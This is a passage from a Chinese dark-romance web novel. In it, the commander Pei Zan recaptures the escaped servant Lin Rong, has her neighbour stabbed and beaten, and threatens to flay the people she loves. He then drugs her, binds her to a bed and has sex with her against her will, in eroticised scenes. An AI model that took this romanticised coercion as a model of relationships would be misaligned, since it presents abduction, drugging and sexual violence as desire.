这代表林蓉活下去的希望!也代表她终于在凉州生根发芽,她有了立足之本。 林蓉为了庆祝今日,回馈邻里平日的关照,她特意匀出一部分钱,买了半扇羊回来炖肉吃。 凉州冬菜不多,但有萝卜,林蓉便买了一些粗壮的白萝卜炖羊肉。 萝卜性凉,能够润肺清热,正好解了羊肉的膻燥,从前裴府就是这样搭着吃,预防痰湿肺燥。 但南地湿热,凉州干冷,当地人反倒好辛辣、热火重的吃食,不太常吃这种汤品。 林蓉炖了羊汤,亲自提着篮子,给村里人家送食。 她本想端一碗送到杨家,却不防杨峰带了些瓜果进门访客。 林蓉不知杨峰屡次登门已是殷勤之举,她只觉得杨大哥温柔体贴,还给她差事做,实在是一顶一的好兄长。 林蓉高兴一笑,赶紧擦了院中的桌子,喊杨峰落座。 “大哥来得正好,先吃碗羊汤,我再给你下点面条!” 杨峰闻言,脸上一红,心里欢喜,却又不好意思应下,连声道:“哪里能麻烦小穆姑娘,赶紧别动了,我就来送几个冬梨的,待会儿就走了!” “别,你老给我送吃的,我又没给你回礼,这可不成。我的羊汤炖得不错,连张婶娘都夸,大哥快坐下吧,等我一刻钟就成!” 话都说到这份上了,杨峰只能结结巴巴应一声,老实巴交地坐好。 他其实也想尝尝林蓉煮的面条,只是不好意思提这嘴,但林蓉盛情难却,他就留下尝一口吧。 杨峰几次观望灶房里忙上忙下的身影,思索着要不要进门帮忙。 怕太殷勤会遭林蓉嫌弃,又怕坐着等吃会被林蓉嫌懒惰。 杨峰心里百转千回,愁死个人。 好在没多时,林蓉便捧着一大海碗的羊汤面条出来了。 杨峰抬头看一眼,脖子又红了……敢情林蓉记得他的大食量啊,还用起那么大的面碗! 她会不会嫌他太能吃啊? 两人在屋里谈笑风生,殊不知未阖的院门外,早已有无数黑衣劲服的人影,听闻上峰细微的哨声,根据传达的军令,依次逼近这一座小院。 山雨欲来,成百上千的暗卫悄无声息地欺近,犹如罗织出的一张密网,遮天蔽日,围拢住这一座平静安宁的小山村。 到处都是精锐悍勇的侍从亲卫! 他们掩于繁茂的枝桠间,一只宽掌压下腰间削铁如泥的长刃,静候主上递来杀令。 此刻,一辆黑蓬马车也无声无息地靠近,停在林蓉的家门外。 而车帘撩开,一双凛若冬雪的凤目,隐于车内黑浓雾霭间。 男人端坐车厢,青丝束冠,黑袍披身,漂亮得简直像是遗世独立的谪仙。唯独周身气质沉肃,隐隐有雷霆怒意,倒教人胆颤心寒。 来人正是裴瓒。 很是不巧,前几日林蓉与人外出御马,还在草原上幕天席地留宿多日的事,终是传到了裴瓒耳朵里。 原野辽阔,军马四处迁徙,不好抓人,裴瓒便耐着性子等待林蓉回村,顺道去查了一下这个名叫“杨峰”的男人是何来历。 不过是乡野农夫,祖上也不曾为官拜相,容貌品相更为下乘。 这等粗鄙男子,竟入得林蓉的眼,堪称可笑至极。 裴瓒想到了林蓉饮下那碗绝嗣汤; 想到林蓉不顾一切,甚至隐瞒“习水”一事,机关算尽,只为出逃; 想到林蓉很可能像一条狗一般在其他男子身下承欢……恨不得将此女碎尸万段! 裴瓒下颌紧绷,冷目如鹰瞵鹗视,压着滔天怒意,连蓬勃血气亦翻涌于胸。 一息之后,裴瓒垂眸,将那把斩敌长剑,慢条斯理地挂上了腰间。 院内,林蓉也给自己盛了一碗热气腾腾的羊肉汤,摆在桌上。 没等她取筷子吃肉,院门忽的传来一声撼天动地的巨响。 “砰——!” 院门四分五裂,摇摇欲坠。 林蓉听到骚动,错愕抬眸。 短暂一瞥,她的筷子哐当落地。 林蓉呼吸不畅,心脏骤停,霎时浑身滚沸的血液冰封冷凝,四肢百骸无力……她竟是看到了此生最恐怖的一幕! 是木屑粉尘落下,裴瓒长身玉立,站在门前。 男人目似寒星,冷到出奇,静静凝视着林蓉,杀气四起。 没等林蓉逃跑,她便听到裴瓒扯唇,似笑非笑,讽出一句。 “林蓉……看来你背主潜逃的两月,过得很是舒心?” 作者有话说: 在元朝,军用马匹的管理是马政的核心内容。官马的牧养方式主要有三种:一是通过官厩饲养,这是元朝主要的官马来源;二是通过在蒙古军营周边划定草场,由军队负责牧养;三是政府将部分军马分派给民间家庭进行代养。无论哪种形式,军马的待遇和管理标准与官马一样,国家会负责提供饲料和相关物资。然而,由于牧养马匹需要大量草场和资源,元朝政府也将部分负担转嫁给民间。民间牧养的马匹同样受到严格管理,成为马政的一部分。(引自搜索。文里一些常识,其实有查过资料,但太琐碎就不一一说明,不必太在意,本文架空。 第45章 一个月前, 凉州的宋知州收到了一封南地密信。 宋知州吓得六神无主,忙请幕僚入府商议。 “竟是那位南地霸主送来的信笺……依先生之见,本官该当如何行事?” 幕僚拆信看了一眼, 竟是裴瓒知道西地牧草丰沛,吐蕃冬寒夏暑, 极其合适养马。 裴瓒想拨一笔军费, 请宋知州利用麾下主掌马政的官吏, 帮他培育骏马, 以备不时之需。 宋知州心知,南地位处水乡,虽粮丰盐足, 水师精悍,却极难牧养出好马, 日后裴瓒要与北地魏室一战, 定要膘肥体壮的雄骏健马, 方可战无不胜, 所向披靡! 南地富庶, 不过一笔养马费用, 裴瓒说掏就掏了, 而宋知州不过帮着放权下去,顺带还能捞一笔油水。 可他深知, 此为党派之争,他还是魏室授的官, 此举无疑是投靠叛军,帮着裴瓒谋国! 裴瓒的“一点小忙”,私下里的意思,可是要逼着他站位啊! 宋知州长吁短叹, 愁眉不展,他怎么都没想到,他们这样犄角旮旯地里的州府,竟也能掺和到国政内战之中。 幕僚看了一眼,沉吟道:“本就是南地与北地之争,凉州位处边塞,素来掺和不进篡国党政之事。只这位裴都督执意如此,想要大人帮忙‘筹备军械’,恐怕咱们就难以躲开了。您想想,倘若裴都督派兵攻打凉州,我等手上有多少兵力,周边州府的军所又能应援多少兵力,而朝廷可会派兵派粮来策应后方?” 这等问题,不必问,宋知州都知是绝无可能! 凉州距离都城,远得十万八千里,先不说粮车会不会送到边城,就算送到也是二三个月之后,凉州早就被南地的兵马夷为平地了……到时候送来的粮车军械,岂不成了裴瓒的囊中之物? 新帝陈文晋不会如此愚钝,也不会犯此错误,正是交战的急迫关头,陈文晋巴不得留兵驻守都城,哪里敢分散兵马粮饷策应凉州,这不是求着裴瓒来打他吗? 原本以为南北之战,和他们西地全无干系。 凉州不过是一根食之无味弃之可惜的鸡脖子,如今裴瓒耳聪目明,瞧见了他们凉州的好处,此子野心勃勃,怕是真起了侵吞之意…… 思及至此,宋知州的眉头皱得更深了。 倒是幕僚劝道:“宋大人,您想想,要是咱们负隅顽抗,真引来了裴家的兵马,对谁最为有利?自然是北边的皇帝。您想想,趁着裴都督攻打凉州之际,六州防守便弱了,魏室皇帝保不准会出兵攻向六州,那咱们可就白白挨打了!” 宋知州茅塞顿开:“这、这分明是鹬蚌相争渔翁得利!” “正是!依某之见,大人不如‘弃暗投明’,无非是帮忙养马,又不图咱们的军费,帮了也就帮了。裴都督记得咱们大人的好处,往后真变天了,这也算一道保命符不是?” 宋知州连连点头:“有道理!那本官就应下此事……以求谋个出路。” 宋知州赶忙往裴瓒那处送信,一心“报效”大都督,以求日后若是裴瓒问鼎,他亦能得来一线生机。 裴瓒知他识趣,自是多加安抚,暗里许诺。 如此一来,宋知州也沾了几分裴瓒的贼船,与他的关系愈发紧密。 此后,裴瓒又送出一信,问的便是“逃犯林蓉”的下落,他将林蓉进入凉州关隘时所用路引的相关信息逐一道来,流民百姓入关,皆有官吏查探路引文书,自然有人记得青州来的生客林蓉,几番调查之下,便知林蓉进了主城,入住客栈,又买下玉门村的房屋。 裴瓒白日办差,筹备马政事宜,夜里听探子禀报林蓉行踪,知她不过居于一贫瘠山村,逃不出手掌心,倒也随她玩乐。 直到林蓉外出牧马,与旁人共宿城外,终是惹怒了裴瓒。 裴瓒愿意将手中牵绳放长一些,却不是要任林蓉肆意与人鬼混的意思。 若她不忠,裴瓒失了那一点兴致,她一定会死得很难看。 正如眼下,裴瓒看到院中的“郎情妾意”,那点微乎其微的趣味,终于淡了。 眼下裴瓒唯有手刃这双狗男女的冲动,便是他一贯喜怒不形于色,今日亦是踹裂了这一扇薄薄的院门。 裴瓒命人将所有凑热闹的村民拦于十丈开外,自个儿手持冷刃,肃着脸入门,与院中喝汤的林蓉对视。 男人身材高大,肩背挺拔,一袭玄黑长袍,立于院门,惊得杨峰连面都吃不下。 “你是何人?!怎敢擅闯民宅?!”杨峰见人闯入林蓉家宅,急忙起身,将林蓉护在身后。 如此舍身相救的情谊,倒让步步逼近的裴瓒,轻笑出声。 裴瓒目光森冷,如有实质,威慑力压得人几乎喘不过气。 男人缓步走近,阴鸷的眸光,一寸寸扫过林蓉轻颤的眼睫、窒息的口鼻、翕动的樱唇,以及那双紧攥成拳的纤手。 他的目光灼烈似火,凝于林蓉不断战栗的脊背…… 林蓉明明不住后退,她明明畏极怕极,却并未想着依附杨峰。 因林蓉知道,若她胆敢在裴瓒面前表露丝毫亲昵,便是杨峰的死期! 林蓉为了保住外男,自然该装得淡漠疏离,将关系撇清,毫不相干! 越是懂得林蓉的“护短巧思”,裴瓒越是怒极。 “林蓉,凡事都讲究一个先来后到。既是你先入我的床帏,既是你先侍奉家主枕席,那你就该知廉耻,如今不过睽别二月,便顶着逃妾的罪名,与人私通……林蓉,你当真令我刮目相看。” 闻言,林蓉惊讶抬眸。 裴瓒虽在床笫间恶癖诸多,但他从未用如此明晰脏污之语辱她。 可见裴瓒已是恨到极致,他起了杀心。 林蓉急得语无伦次,她慌忙道:“大都督误会了,我与杨大哥不过邻里!” 一同外宿原野的邻里,同屋用膳的邻里……裴瓒不愚钝,也不好欺瞒。 他并不听林蓉解释,男人的长指抚过腰间冷刃,抽出了那一把寒光凛冽的长剑。 林蓉吓得肝胆惧寒,一把拨开杨峰,拦抱住裴瓒的窄腰,咬牙高喊:“杨大哥,快走!” 林蓉不敢再将人留在此地,她怕杨峰会死于非命! 可裴瓒的攻势犹如恢恢天网,杨峰又能往哪里跑? 不等杨峰出声,一柄长剑已然挽过几朵剑花,以雷霆之势,猛然掷出。 随即,杨峰发出凄厉可怖的一声惨叫,血液喷溅上林蓉的乌髻,小巧玲珑的耳廓。 她松开手,猛然回头,却见杨峰的腿骨被一把锐刃贯穿,他捂住伤腿,蝼蚁一般匍匐于地,跌至一旁。 满地都是触目惊心的红血,骇人的痛呼不绝于耳。 林蓉没能拦住裴瓒,她转身又想去扶杨峰。 可没等杨峰从地上爬起来,蛰伏于暗处的亲卫倏忽现身,将利刃架在了杨峰的颈侧,将他狠狠压制在地。 林蓉呆立原地。 她感到羞愧、惶恐、懊悔。 羞愧的是,大家待她仁善,可她却只能带来灾殃。 惶恐的是,她不知裴瓒还有多少手段,他会不会为了给她一个警示、教训,就把这些帮助过林蓉的人杀光。 懊悔的是,她不该招惹裴瓒,她不该不自量力,身为一个最下等的奴婢,竟有脸去担心锦衣玉食的主子的安危。 若她心狠一点、冷硬一点、绝情一点就好了,那她就不必担心旁人因她之故,在此地受苦。 林蓉的杏眸、琼鼻、粉唇,全溅上一蓬蓬腥臭的红血,仿佛血梅在她脸侧绽开,带着一丝诡谲的妖艳。 林蓉双目僵直,她清楚意识到,这是杨峰的血,是帮过她的好心人的血…… 裴瓒起了悍戾的杀心,他可以一剑戮下杨峰的头颅,但他玩心四起,他并未这样做,他也不曾给杨峰,或是林蓉一个痛快。 他喜欢高高在上地折辱她,仿佛她是那一只负隅顽抗的猎物,只能在他足下匍匐、挣扎,艰辛求生。 也是在这一刻,林蓉终于明白……原来这么多年,她一直觉得裴瓒手戴菩提佛珠,身染清幽檀香,犹如慈悲济世的男相菩萨。 但她从来都认错了,从来都参拜错了,她从来都瞎了眼! 林蓉翕动唇瓣,哆哆嗦嗦说出一句:“我曾以为……你是个好人……” 可她不知,原来她供奉的,从始至终都是一尊穷凶极恶的邪神罗刹啊! 林蓉骇极怕极,她不知该做什么,她只是本能畏惧裴瓒,她拔腿就跑! 可裴瓒疾步上前,一只结实有力的臂骨陡然横来,像一道粗壮有力的铁链枷锁,死死困住林蓉的腰肢,寸寸收紧。 林蓉的手脚全都戴上了枷锁,她被他困在怀中,细细的绳索勒住十指,将她吊起,好似傀儡。 男人炙热的胸膛覆在身后,隆隆心跳好似鬼魅。 裴瓒拥着她,力气大到仿佛要将她碾进皮肉里,压进怀中血肉。 林蓉挣脱不得裴瓒那遒劲铁臂,不过一眨眼,便被男人抱起,重重掼进门外的马车。 林蓉撞得五脏六腑都在疼痛,她忍住胸腔憋闷的咳嗽,迅速爬起,又要往车外挣脱。 随即,裴瓒冰冷有力的手掌递来,凶暴地钳制住她的伶仃手腕,将她重重抵回车壁,压在冷硬的板木上。 “林蓉!” 裴瓒气息深重,狞恶的视线落到林蓉颊上红斑,他的胸腔起伏不定,怒意滔天,另一手已抚到林蓉脆弱不堪的雪颈之上,恨不得将她折碎撕裂! 林蓉抿唇不语。 她压抑呼吸,借着昏暗的夜色,怒目瞪着裴瓒。 她被他困在逼仄狭窄的车厢,不知该如何应对这一只凶兽。 林蓉明明怕他,却也知,这时唯有她能救下杨峰。 林蓉只能用丑恶的眼神,与裴瓒无声较量。 她不甘心被擒回去,也不甘心受裴瓒欺辱。 可她亦是最无能、最无助、最无措,她只能受困樊笼,别无选择! 独属于杨峰的血气在狭小密闭犹如牢笼的马车里散开,裴瓒明明最喜血气,却在霎时火气上涌。 他厌极了林蓉,亦厌极了旁人,他本该喜爱林蓉,却得知她为了摆脱他,竟将那些梅花胎记逐一烙去…… 房事时,她嘴上哭喊,最是怕痛。 可她明明待他最狠,连剜去胎记也毫不留情。 如今,林蓉脏了……她染了其他男人的鲜血,很是恶心。 裴瓒莫名的,想帮她擦拭掉身上所有外来的气息。 也是此刻,裴瓒鬼使神差地低头,狠狠咬上林蓉抬起的樱唇。 久违的亲昵,唇舌相交,却好似一场硝烟战争。 可林蓉仿佛要为人守贞,她不愿张口,三番两次扭头,躲开裴瓒的吻。 直到裴瓒怒火积压,下嘴更重,咬开一道细密的唇伤,林蓉吃痛,方才松开了齿关,任他温热的舌尖卷入,与她气息相融,唾津让渡。 裴瓒吻得狠,吮得深,不顾林蓉的死活,亦不想她还有气儿能呼吸。 如此清隽深秀的一副好皮囊,俯身压来,极致缠绵地痛吻,竟也让林蓉犹如见鬼一般,浑身战栗,毛骨悚然! 林蓉的眼泪簌簌滚落,她呜咽着挣扎,却被裴瓒压着、缚着,摁住急促呼吸的胸脯,压住奋力踢开的膝盖。 他如巍峨深山倾覆,将林蓉压到最低的泥地里。 林蓉仿佛要埋进土中,她无助地逃避,发狠咬开裴瓒的薄唇,女孩的虎牙尖利,那点腥烈的铁锈味瞬间弥漫舌尖。 裴瓒尝到了痛意,额上青筋鼓噪,皱眉松开。 不等林蓉翻身,那一只宽大的掌腹,又拧向林蓉削瘦雪白的下颌。 “你在为谁守身?!” 林蓉气喘吁吁,气道:“我不知你在说什么!” 林蓉被裴瓒压制,被迫仰起脸颊,浓密纤长的眼睫上湿黏一片,美眸水光潋滟。 裴瓒低头,借着漏入的月光,居高临下欣赏林蓉毫无反击之力的媚骨尤物姿态。 他心中恶念横生,他并未被这个吻降火,他反倒杀意更浓,邪念更重…… 裴瓒收手更为用力,女孩柔软颊肉刮擦过唇腔齿锋,带来一阵令人不适的痛感。 林蓉不禁拧起眉头,却又没有对裴瓒呼疼。 她本能不想对他求饶。 直到下一刻,裴瓒冷声问:“那么,我问你……林蓉,你被杨峰入过没有?” 他在问,林蓉可有和杨峰苟合,行房? 气氛陡然冷寂。 林蓉听到这般龌龊的猜忌,难以置信地瞪大双眼。 啪! 一记耳光重重砸来。 不偏不倚,径直摔在了裴瓒的脸上! 是林蓉挣开那只解绑的手,往裴瓒颊侧打来一个巴掌! 裴瓒猝不及防挨了耳光,他下颌一偏,嘴角溢出一点鲜血。 没等裴瓒抬起冷戾凤目,下手弄死她。 林蓉已然气得颤抖,崩溃地高喊—— “我与杨峰从来都是兄妹之情!” “裴瓒,你既要辱我、轻贱我,何不杀了我?!” “裴瓒,你杀了我吧!!” 第46章 “林蓉, 你想死?!” 裴瓒眼眸乌邃,脸色阴寒,他一把扣住林蓉行凶的手, 反剪于她的身后,死死抵在女孩塌陷的腰窝。 他这一声戾气深重的质问, 不知是在问林蓉当真想死, 还是因他挨了耳光失了颜面一心要弄死林蓉。 林蓉仰头, 目光悍勇, 无惊无惧。 林蓉不再反抗,她知道她手无寸铁,她伤不了裴瓒, 她若是动手,保不准裴瓒迁怒全村, 还会伤了其他人。 她唯一能做的, 就是她自己的主。 她一心求死, 死了就一了百了, 连累不到其他人。 林蓉那张软唇里吐露出绝望的字眼:“要杀要剐, 悉听尊便。” 裴瓒无声冷笑。 他单手缚着林蓉的两只纤细腕骨, 另一只手, 拇指摁在嘴角,轻轻擦拭去那些灼目的血痕。 这是裴瓒生平第一次受辱, 林蓉竟敢对他出手…… “倒是苦命鸳鸯……”裴瓒凤眸微阖,厉声高喝, “来人!给我打断杨峰的腿!” 林蓉的脑袋嗡然,双目潮红。 随后她听到车厢外传来一声长棍闷进皮肉的钝痛,伴随着男人一声惨烈嘶吼。 林蓉在深宅大院里过活,当然知道主人家惩戒下人是什么手段, 无非是杖刑挨打,打废了了事。 粗粗的棍棒砸到臀肉里,提起来的时候,骨血都黏在单薄的衣布上。 那是林蓉吃过的苦,她知道痛,她能感同身受。 凭什么杨峰要受此责罚?只因他生性豁达,为人慷慨,他帮过她吗? 在这一刻,林蓉气得脖子生热,脸颊滚烫,她费力抗争,喊出一句:“裴瓒!你要杀便杀我!何必拿旁人出气?!你若想我死,不如直接说出来!拿刀抹脖子,麻绳抛梁上,都能让你如愿解气!何必伤及无辜,折辱他人!” 林蓉越是为杨峰求情,裴瓒心中升腾的火气更甚。 他本该居高临下地审视她的丑态,看她痛苦求生,看她服软求饶,看她卑微乞怜,一如须弥座上的神佛,从未心软,从未留情,从未怜悯世人,普度众生。 看着林蓉痛苦难捱,裴瓒本该发笑,可不知为何,他竟有些不喜这样的林蓉。 理智告诉裴瓒,他真的应该杀了林蓉。 可他为何要三番两次给她机会? 无非是个最下等的婢子,无非是承了他的元阳雨露,无非是随处可见的美人皮囊……都是裴瓒司空见惯的东西,林蓉究竟有何不同? 裴瓒脸色难看,但他还是讽出一句:“你想死?你想给他殉情?我竟不知……你们已情深至此。” 林蓉在拼死顽抗之下,衣襟松开,白润肩头浮起一片狰狞交错的燎疤,深深浅浅,大小不一,像是雪梅枯树截枝后,留下的结疤树瘤。 那些刺目的烫伤,无不提醒裴瓒,林蓉宁愿自断手脚,也要离开他…… 林蓉已经被逼到崩溃,她气得胸口生疼:“我与杨峰之间,绝无你想的那般肮脏!我们清清白白,并未僭越!裴瓒,你滥杀无辜,不得好死!” 林蓉越骂,裴瓒神色越冷。 “那我还真不能杀他了,若他死了,你岂不是会记他一辈子?不过断手断脚挖眼倒能使得。”裴瓒扬袖,从窗帘处飞出一片银叶,杖刑戛然而止。 不知杨峰是痛晕过去,还是已经伤得太重,痛呼声细微,几近于无。 林蓉杏眸含泪,她惧到连哭的能力都失去了。 裴瓒寒漠的长目仍凝着她。 他抬指,泛凉的指肚抚过林蓉的肩膀软肉,长指又劣邪地探进浑圆饱满的雪壑间。 林蓉忍受这些狎昵的动作,她的底气与骨气,在裴瓒残暴的施为里,渐渐寂灭。 她忍不住颤抖,问他:“你究竟想怎样……” 裴瓒的指尖已被林蓉的体温裹热,他掐着她的下巴,冷声道:“我是问你,林蓉,你究竟想怎样?” “我……不明白。” 裴瓒轻扯唇角:“那碗绝嗣汤……是你要喝的,还是吴念珍逼的?” 林蓉瞳仁震颤,裴瓒竟知道了这件事! 林蓉久久无言。 “不说么?”裴瓒没有多少耐心,只附耳告诫,“你且看着,我会不会杀他。” 林蓉知道,兴许裴瓒还没消火,愿意留下她的性命,慢慢折磨解气。 但旁人的性命,在裴瓒眼中,无非是低贱蝼蚁,他不会有丝毫顾虑。 林蓉不敢不答,亦不想再连累旁人……即便是吴念珍,好歹放林蓉出逃过,也不该就此害死她。 林蓉深吸一口气:“……是我自己要喝的。” 言简意赅的一句话,激出了裴瓒的几声低笑。 他允她生下庶长子,他纵她留下雨露,他待她处处看顾,可林蓉弃如敝履。 她对旁人狠,对自己也狠。 宁愿绝子断嗣,也绝不要诞下他的孩子! 当真是生平罕见的硬骨头,当真是奇耻大辱! 裴瓒从未、从未被人如此嫌恶过! 偏她林蓉胆大妄为,竟敢如此折辱他! 当真有趣,他当初就该杀了她。 “林蓉,唯有打断杨峰的腿,方能解我心头之恨!” 林蓉听得脸色大变,她难以抑制地发抖,终于软了颈子,啜泣一声:“不要……求你,大少爷,不要……” 裴瓒的指尖摩挲林蓉粉嫩唇瓣,神色晦暗不明。 “不过是断两条腿,又没取他性命,心疼什么?林蓉,我给你一次抉择的机会。万万选好了,杨峰这双腿,是要被我下刀子砍断,还是给他重新接好,放他归家……” 林蓉听出裴瓒话里意思,他不会杀她,他要留个活口。 因裴瓒还没玩腻林蓉,他要她活着,继续留在裴府。 但经此骤变,林蓉不但羞辱裴瓒,甚至摔他耳光,回府之后,等待她的将是何等无间地狱,答案自然不言而喻。 林蓉畏惧裴瓒的血腥手段,她自知无路可退,只能屈辱地低头:“我跟着你回去……” “林蓉,你很乖。”裴瓒语带嘲讽,明知林蓉服输,可他的心气仍是不顺,因她是为了杨峰委曲求全,忍辱负重,她并非心甘情愿……裴瓒不认为自己对杨峰生出妒意,不过是不喜林蓉与外人有丝毫沾染。 林蓉仍感不安,在裴瓒松开她腕骨桎梏后,她小心揪住那一片黑浓的衣角,再度确认:“我走后,你要履诺,不能伤人……大都督一言九鼎,你说不杀人,便是真的放过玉门村的人。” 裴瓒凤眸骤冷,在林蓉心中,他竟成了这般背信弃义的小人? “我若杀人,提刀便杀了,不至于诓骗你。” 裴瓒按住林蓉瑟缩的肩膀,静静审视片刻。 随后,男人的气息滚沸,倾来的身子巍峨如山,俯首吻过她肩上燎疤。 裴瓒吻人的压迫感强烈,林蓉本能畏惧,但她茫然望着车顶,没有半分躲闪。 她任裴瓒湿热软舌在后肩游走,浓烈的檀香霎时变重,林蓉整个人都被裴瓒裹挟进无休止的黑暗中。 林蓉急促呼吸,竭力忍耐,她很害怕,但她没有逃跑。 许是林蓉足够识时务,终于取悦到裴瓒。 裴瓒将她揽到怀里,跽坐着拥紧。 展臂的力道强硬,不容林蓉拒绝。 裴瓒抱人的动作明明很是暧昧温柔,却莫名夹杂了一些冷情的胁迫。 他咬了下林蓉的耳珠:“林蓉,你放心,只要你再次出逃。你护的人,不论裴家祖宅的丫鬟婆子小厮,还是那一匹杂毛马,甚至玉门村的村民,我都会逐一杀尽。我会找到你,再将这些人的皮肉沿骨拆尽,一块块缝好送给你……” 林蓉浑身僵硬,如见恶鬼。 她想到富贵总在怀里藏着好吃的,一边喊她姐姐,一边为她送食。 想到赵婆子担心林蓉在外过得不好,劝她没地方去,就来乡下给阿婆养老。 想到绿珠姐姐送了林蓉最喜欢的胭脂水粉,又在她赎身离府那一日,对她说:“蓉儿,要过好日子啊……” 昔日过往,历历在目。 林蓉鼻尖发酸,眼泪滚落,洇进裴瓒那一件整洁的绸袍之中。 “我不会再跑了……” 林蓉知道,她有把柄在裴瓒手中,她有了软肋,她不能再跑。 就算伤了裴瓒,也可能会有旧部替他报仇,将一把把屠刀指向林蓉最亲近的人。 她不愿如此,她不想连累任何人。 林蓉的双翅尽断,她真的不会再跑了。 裴瓒亲手捻灭林蓉求生的希望,他喜欢林蓉如此乖巧,蜷缩入怀。 裴瓒撩起车帘,冷扫一眼:“松开杨峰,不必杀他……再给人留下二百两金子治腿。” 说完,裴瓒又垂眸,手掌贴向林蓉颈上经络,感受她的脉搏,掌控她的命脉。 “林蓉,还要带走什么吗?” 林蓉想到屋里的鸡鸭、小羊、大黄……她知道,就算留下它们,杨峰也会帮她照顾好一切。 林蓉虽对杨大哥有所亏欠,但好在她竭尽全力,保住了他的性命。 杨峰是个好人,他兴许会自责自己保护不了林蓉,却决不会怨她、怪她,林蓉能放心舍下这一切。 林蓉摇摇头。 没有,什么都不必带。免得她触景生情,还贪恋这段自由自在的时光。 裴瓒目光乌沉,满意林蓉的绝情,他放下车帘,吩咐一句:“回庐州……这些市井腌臜物,一并舍弃,不必带回府邸。” 离开凉州之前,裴瓒命人去查了林蓉在原野上牧马那几日的生活。 从小工夫妻口中,裴瓒得知林蓉一心干活,平日三餐也是几人一起用饭,并未和杨峰私下独处。自此,心中那点杀人恶念,才算彻底压制。 林蓉受此大难,当夜就病倒了。 裴瓒亲自喂了药,还逼着林蓉吃了点糕饼。 不知是药里带了安眠的草药,还是旁的缘故。每回林蓉一饮下汤药就昏昏欲睡,歪进裴瓒的怀中,一觉到天明。 不知过了多久,林蓉已经随着裴瓒的车队离开了凉州,回到了南地六州的地界。 这天夜里,林蓉从睡梦中惊醒。 她低喃一句口渴,想要手撑床沿下地,却行动受限。 林蓉一惊,下意识睁眼。 可眼前漆黑一片,伸手不见五指,林蓉意识到竟有一条遮光的绸带,紧紧蒙住了她的眼。 林蓉的手腕颤动,窸窸窣窣的银铃声陡然响起。 她的双手竟被两条挂铃银链牢牢束缚,困在了床架之上! 林蓉陷入了混沌的黑暗中,她的五感变得敏锐,只能通过嗅觉去感知外界。 林蓉嗅到熟稔的靡靡檀香,还有另外一味沉馥的异香。 她不知所措地躺在榻上,直到一只筋骨沉练的手递来。 悄无声息地挑开她的衣襟,扯下小裤。 将她剥得一干二净。 林蓉遇冷,如同花枝乱颤,她瑟缩一会儿,往床榻深处躲去。 林蓉知道来人是裴瓒,轻轻拉动手链:“我不喜欢这个……” 男人缄默许久,才在黑暗中,意味深长地回答:“我特意让人放宽了尺寸,不会勒疼你……为何不喜?” 说完,又温声夸赞:“铃铛声很好听。” 林蓉不知该如何解释,即便她跟着裴瓒,亦不想被他成日绑在榻上,当他的禁脔。 林蓉心慌意乱,生怕裴瓒真起了一辈子锁住她的念想,只低声哀求:“我不会逃跑,能不能不要绑住我?” 林蓉眼眶又生潮意,她咬紧牙关,难以抑制地战栗,淋了一身的汗。 可林蓉越怕,裴瓒越是得趣。 裴瓒倾身覆下,滚沸的薄唇,落到林蓉的雪颈,轻轻啄吻:“不过玩玩,你躲什么?” 林蓉不敢猜裴瓒口中“玩玩”,究竟要持续多久,但她知道,如今手脚受缚,最好还是不要激怒裴瓒。 林蓉一直知道,裴瓒在那日挨了耳光后的火气未泄,她最好识趣,乖乖领罚,免得裴瓒又想出其他折磨人的花招。 “你的病,养了好久……怕弄死你,我一直有所节制。今日为了尽兴,我还添了情香,林蓉,你会喜欢的。” 裴瓒用温和的语气,说着一些令人肝胆惧寒的话。 林蓉不敢回答,但她的确有所察觉。 她本没有兴致,在那一缕浓香的摧折之下,竟也会雪肤薄红,鼻翼生汗。 小肚子犹如来了月事一般,泊泊淌着汗津。 林蓉屈膝拢腿。 又被跪上床榻的裴瓒强行抵开。 他勾住林蓉的双腿,拥起了她。 林蓉腕上的手链被放得更长,足够让她自如动作,躲羞一般藏进裴瓒的怀中。 她无力逃脱,尖尖的下巴压在裴瓒肌理遒劲的肩头。 她感受到裴瓒略带薄茧的手指,勾过她鬓边碎发,掠到耳后。 再毫不犹豫地吻上她的嘴角,灵活勾缠她香凉的唇舌。 裴瓒的舌温很热,嶙峋喉结滚动。 他咽下那些唾液,又含上林蓉的舌尖。 男人气势骇人地绞杀她,极致温吞地细致舔她,用亲吻、宽大的掌腹裹缠着她。 那些吻从嘴角,一直到后颈。 林蓉被裴瓒压在肩上,她整个人都似要被他拆吃入腹,就连那些丑陋的燎疤也被凉唇覆过,没有一处不得裴瓒的妥善关照。 无穷尽的厮磨缠吻,逼得林蓉不住呜咽。 她怕引起裴瓒的渴欲,又只能将那些细碎的声响压抑喉间。 林蓉便是一座雪峰,今日也要被裴瓒沸到融化。 不住流水。 待他抬身欺进的时候…… 林蓉终是皱眉骂出一句:“禽兽……!” 裴瓒不以为意地勾唇,堵住林蓉无助的秽语。 “是么?” 裴瓒笑了下,又恶念深重压进剩下的半数。 “我倒觉得,你被禽兽……入得很快活。” 第47章 若不是林蓉没闻到屋外下雨飘来的泥土腥味, 她还真以为这些淅淅沥沥不绝于耳的水声,是夜里下雨了。 林蓉疲乏劳累,她眼波生媚, 软乎乎地搂住裴瓒的脖颈,将整个人都挂在了他的身上。 林蓉与裴瓒坦诚相待。 两具躯膛之间, 除却精干的肌理、柔软的雪肉, 并无赘余的衣物隔绝。 林蓉一直在流汗。 仿佛唯有如此, 才能将那些小腹肺腑蒸出的一蓬蓬燥热, 从凝脂玉肤的毛孔里散开。 人解了燥,身体就舒泰了,断不会如今日这般口干舌燥。 但明显, 裴瓒还有其他纾解之道,并不仅仅与林蓉唇舌交缠。 好的是, 裴瓒的法子行之有效, 能满足林蓉来历不明的空虚与急切。 坏的是, 林蓉觉得自己明明没有犯错, 却不明不白地挨了打, 雪腚火辣辣一片。 好在腿骨没有从前为奴为婢挨的杖刑那般痛感。 无非是纤腰酸麻, 唇瓣儿被磨蹭得泛红刺麻。 林蓉的杏眸被绸布缚住, 她陷入黑暗里,五感变得极其敏锐。 屋里好香。 不是那种老木头的熏香, 也不是裴瓒那件早被雪絮淋湿的衣袍散出来的膻香,更不是那等催人心志的清苦檀香…… 而是一种能将人五脏六腑焚灼成灰的沸香。 香气几乎无孔不入, 钻进口鼻,侵蚀她的理智,折磨她的心神。 “林蓉,张嘴。” 林蓉被迫仰起头, 顺从地分唇,被裴瓒堵住了嘴。 他吻得很重,舌根都被男人吮到发麻。 这个吻又沿着林蓉的嘴角落下。 无论是细长如荷茎的雪颈、尖锐如月牙的锁骨,还是腴润的胸口…… 所有独属女孩的香凉细汗,悉数被裴瓒咽下。 林蓉即使蒙着眼,也不敢隔着一块薄布去看裴瓒。 